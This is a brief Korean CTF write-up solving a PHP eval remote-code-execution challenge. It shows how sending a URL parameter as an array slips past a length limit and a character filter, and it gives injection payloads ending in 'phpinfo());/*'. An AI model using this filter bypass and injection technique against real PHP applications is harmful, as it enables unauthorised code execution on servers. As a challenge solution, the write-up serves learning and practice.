<?=highlight_file(__FILE__)&&strlen($a=$_GET['ヽ(#`Д´)ノ'])<0x0A&&!preg_match('/[a-z0-9`]/i',$a)&&eval(print_r($a,1));
문제 소스이다. 전에 문제와 마찬가지로 php rce문제이다.
글자 수가 10글자를 넘어가면 안되고 알파벳, 숫자, 백틱을 필터링한다. 이 두가지 필터를 우회하는 법은 간단하다. array를 사용하는 것이다.
ヽ%28%23%60Д´%29ノ[]=a
이렇게 url 파라미터를 array 형태로 보내주면 글자수 제한을 통과하고 제한된 문자 또한 사용할 수 있다.
ヽ%28%23%60Д´%29ノ[]=phpinfo();
이렇게 코드를 보내면 에러가 발생한다.
;의 위치가 잘못되었다. eval로 실행되는 문자열을 출력해보면 Array ( [0] => phpinfo(); ) 이렇게 나온다.
ヽ%28%23%60Д´%29ノ[]=phpinfo()
;를 제거하고 보내도 마찬가지로 에러가 출력된다.
결국 ;를 넣어줘야한다.
ヽ%28%23%60Д´%29ノ[]=phpinfo());/*
괄호를 먼저 닫아주고 뒤에 남는 괄호를 주석처리해준다. 그러면 eval로 실행되는 문자열이 Array ( [0] => phpinfo());/* )이 되어 에러 없이 실행된다.